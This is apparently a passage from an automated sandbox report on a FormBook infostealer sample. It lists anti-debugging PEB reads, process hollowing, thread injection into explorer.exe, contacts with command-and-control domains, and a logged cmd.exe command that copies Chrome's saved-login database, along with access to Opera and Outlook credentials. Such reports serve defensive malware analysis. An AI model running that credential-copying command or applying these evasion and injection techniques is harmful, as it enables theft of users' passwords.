Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B38CD6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A9BC2C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AE6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AE6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AE6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AE6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B21C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B21C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B21C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B21C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B21C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B21C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B21C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B21C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B21C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B21C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B21C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B21C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B21C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B21C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B3740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B3740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B3740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A8746D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A9A44B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AFC450 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AFC450 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A935A1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A91DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A91DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A91DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B305AC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B305AC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A92581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A92581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A92581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A92581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A62D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A62D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A62D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A62D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A62D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A9FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A9FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B18DF1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A7D5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A7D5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B2FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B2FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B2FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B2FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AE6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AE6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AE6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AE6DC9 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AE6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AE6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B38D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B2E539 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A94D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A94D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A94D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A73D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A73D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A73D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A73D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A73D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A73D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A73D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A73D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A73D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A73D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A73D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A73D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A73D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A6AD30 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AEA537 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A8C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A8C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA3D43 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AE3540 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B13D40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A87D50 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AE46A7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B30EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B30EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B30EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AFFE87 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A776E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A916E0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B38ED6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A936CC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA8EC7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B1FEC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A6E620 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B1FE3F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A6C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A6C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A6C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A98E00 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A9A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A9A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B21608 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A7766D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A8AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A8AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A8AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A8AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A8AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A77E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A77E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A77E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A77E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A77E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A77E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B2AE44 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B2AE44 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A78794 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AE7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AE7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AE7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA37F5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A64F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A64F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A9E730 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A9A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A9A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B3070D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B3070D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A8F716 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AFFF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AFFF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A7FF60 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B38F6A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A7EF40 mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\WZ454554.exe	Process queried: DebugPort
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\help.exe	Process queried: DebugPort
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\cmd.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\help.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\WZ454554.exe

Code function: 9_2_0040ACF0 LdrLoadDll,

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.sentlogisticsja.com
Source: C:\Windows\explorer.exe	Domain query: www.senerants.tech
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\Desktop\WZ454554.exe	Section unmapped: C:\Windows\SysWOW64\help.exe base address: A50000
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Section unmapped: C:\Windows\SysWOW64\cmd.exe base address: D80000
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Section unmapped: C:\Windows\SysWOW64\help.exe base address: A50000

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\WZ454554.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Users\user\Desktop\WZ454554.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Users\user\Desktop\WZ454554.exe	Section loaded: unknown target: C:\Windows\SysWOW64\help.exe protection: execute and read and write
Source: C:\Users\user\Desktop\WZ454554.exe	Section loaded: unknown target: C:\Windows\SysWOW64\help.exe protection: execute and read and write
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Section loaded: unknown target: C:\Windows\SysWOW64\cmd.exe protection: execute and read and write
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Section loaded: unknown target: C:\Windows\SysWOW64\cmd.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\help.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\help.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Section loaded: unknown target: C:\Windows\SysWOW64\help.exe protection: execute and read and write
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Section loaded: unknown target: C:\Windows\SysWOW64\help.exe protection: execute and read and write

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\WZ454554.exe	Memory written: C:\Users\user\Desktop\WZ454554.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Memory written: C:\Users\user\Contacts\Hyrzbcwcas.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Memory written: C:\Users\user\Contacts\Hyrzbcwcas.exe base: 400000 value starts with: 4D5A

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\WZ454554.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\WZ454554.exe	Thread register set: target process: 3352
Source: C:\Users\user\Desktop\WZ454554.exe	Thread register set: target process: 3352
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Thread register set: target process: 3352
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Thread register set: target process: 3352
Source: C:\Windows\SysWOW64\help.exe	Thread register set: target process: 3352
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Thread register set: target process: 3352

Source: C:\Users\user\Desktop\WZ454554.exe	Process created: C:\Users\user\Desktop\WZ454554.exe C:\Users\user\Desktop\WZ454554.exe
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process created: C:\Users\user\Contacts\Hyrzbcwcas.exe C:\Users\user\Contacts\Hyrzbcwcas.exe
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process created: C:\Users\user\Contacts\Hyrzbcwcas.exe C:\Users\user\Contacts\Hyrzbcwcas.exe
Source: C:\Windows\SysWOW64\help.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V

Source: explorer.exe, 0000000A.00000000.366511716.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.327643943.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.342979702.00000000011E0000.00000002.00020000.sdmp, help.exe, 00000014.00000002.561250634.0000000004780000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 0000000A.00000000.365734775.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 0000000A.00000000.342284425.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 0000000A.00000000.327386251.0000000000B68000.00000004.00000020.sdmp	Binary or memory string: Progman\Pr
Source: explorer.exe, 0000000A.00000000.366511716.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.327643943.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.330250458.0000000005E10000.00000004.00000001.sdmp, explorer.exe, 0000000A.00000000.342979702.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.346098625.0000000005E10000.00000004.00000001.sdmp, help.exe, 00000014.00000002.561250634.0000000004780000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000A.00000000.366511716.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.327643943.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.342979702.00000000011E0000.00000002.00020000.sdmp, help.exe, 00000014.00000002.561250634.0000000004780000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 0000000A.00000000.366511716.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.327643943.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.342979702.00000000011E0000.00000002.00020000.sdmp, help.exe, 00000014.00000002.561250634.0000000004780000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 0000000A.00000000.334442837.0000000008778000.00000004.00000001.sdmp, explorer.exe, 0000000A.00000000.353081870.0000000008778000.00000004.00000001.sdmp, explorer.exe, 0000000A.00000000.380728239.0000000008778000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndh

Source: C:\Users\user\Contacts\Hyrzbcwcas.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 21.1.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.WZ454554.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.1.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.WZ454554.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.1.WZ454554.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.1.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.1.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.Hyrzbcwcas.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.Hyrzbcwcas.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.WZ454554.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.WZ454554.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.1.WZ454554.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.Hyrzbcwcas.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.Hyrzbcwcas.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.360550532.00000000100E2000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.559491799.00000000030A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.556874060.0000000002B10000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.407793404.00000000005E0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000000.418862410.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.428947591.00000000005A0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.436930793.00000000008F0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000000.419325156.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.324007988.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.399621636.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.436845866.00000000008C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000001.400349591.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.407506141.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000001.324511598.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.436315053.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.400048444.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.407725220.00000000005B0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.429108861.00000000005D0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.437292259.0000000002AD0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.559355148.0000000003070000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000001.419503342.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.324380363.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.431106841.0000000003000000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.428671777.0000000000400000.00000040.00000001.sdmp, type: MEMORY

Tries to steal Mail credentials (via file / registry access)

Show sources

Source: C:\Windows\SysWOW64\help.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\SysWOW64\help.exe	File opened: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 21.1.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE
